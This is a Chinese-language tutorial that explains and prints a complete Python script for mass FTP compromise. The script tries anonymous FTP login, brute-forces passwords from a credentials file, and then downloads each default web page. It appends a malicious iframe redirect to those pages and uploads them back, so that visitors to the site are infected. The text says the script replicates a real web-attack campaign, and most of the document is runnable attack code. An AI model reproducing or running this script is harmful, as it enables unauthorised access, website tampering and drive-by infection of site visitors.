目錄

一、最後一步：

分析：

二、完整

分析：

一、最後一步：

分析：

整個的攻擊最後一步：attack(）函數

1、attack(）函數的輸入參數包括一個用戶名、密碼、主機名和重定向的位置。該函數首先用用戶名／密碼登錄FTP 服務器。

2、 這個腳本會搜索默認網頁，並下載每個被找到的網頁， 並在其中加入惡意重定向代碼。

3、 腳本會將被掛馬的網頁傳回FTP 服務器， 任何訪問該Web 服務器的機器都將會被黑

def attack(username, password, tgtHost, redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)

二、完整

分析：

通過添加一些命令行參數的解析代碼， 完成整個腳本

---

首先看FTP 服務器能不能匿名訪問。不能， 就暴力破解口令，能破解出口令或FTP 能匿名登錄， 登錄到FTP 站點上去發動攻擊。盡管只用了數百行代碼， 但它完全復制了k985ytv 攻擊中使用的攻擊載體。

import ftplib
import optparse
import time
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous', 'password')
print('\n(*) ' + str(hostname) + ' FTP Anonymous Logon Succeeded.')
ftp.quit()
return True
except Exception as e:
print('[*]' + str(e))
print('\n[-]' + str(hostname) + 'FTP Anonymous Logon Failed.')
return False
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
time.sleep(1)
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print('[+] Trying: ' + userName + '/' + passWord)
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + userName + '/' + passWord)
ftp.quit()
return (userName, passWord)
except Exception as e:
pass
print('\n[-] Could not brute force FTP credentials')
return (None, None)
def returnDefault(ftp):
try:
dirList = ftp.nlst()
except:
dirList = []
print('[-] Could not list directory contents.')
print('[-] Skipping To Next Target.')
return
retList = []
for fileName in dirList:
fn = fileName.lower()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print('[+] Found default page: ' + fileName)
retList.append(fileName)
return retList
def injectPage(ftp, page, redirect):
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
print('[+] Downloaded Page: ' + page)
f.write(redirect)
f.close()
print('[+] Injected Malicious IFrame on: ' + page)
ftp.storlines('STOR ' + page, open(page + '.tmp'))
print('[+] Uploaded Injected Page: ' + page)
def attack(username, password, tgtHost, redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)
def main():
parser = optparse.OptionParser('usage%prog ' + '-H <target host[s]> -r <redirect page>' + '[ -f <userpass file>]')
parser.add_option('-H', dest='tgtHosts', type='string', help='specify target host')
parser.add_option('-f', dest='passwdFile', type='string', help='specify user/password file')
parser.add_option('-r', dest='redirect', type='string', help='specify a redirection page')
(options, args) = parser.parse_args()
tgtHosts = str(options.tgtHosts).split(', ')
passwdFile = options.passwdFile
redirect = options.redirect
if tgtHosts == None or redirect == None:
print(parser.usage)
exit(0)
for tgtHost in tgtHosts:
username = None
password = None
if anonLogin(tgtHost) == True:
username = 'anonymous'
password = ''
print('[+] Using Anonymous Creds to attack')
attack(username, password, tgtHost, redirect)
elif passwdFile != None:
(username, password) = \
bruteLogin(tgtHost, passwdFile)
if password != None:
print('[+] Using Creds: ' + username + '/' + password + ' to attack')
attack(username, password, tgtHost, redirect)
if __name__ == '__main__':
main()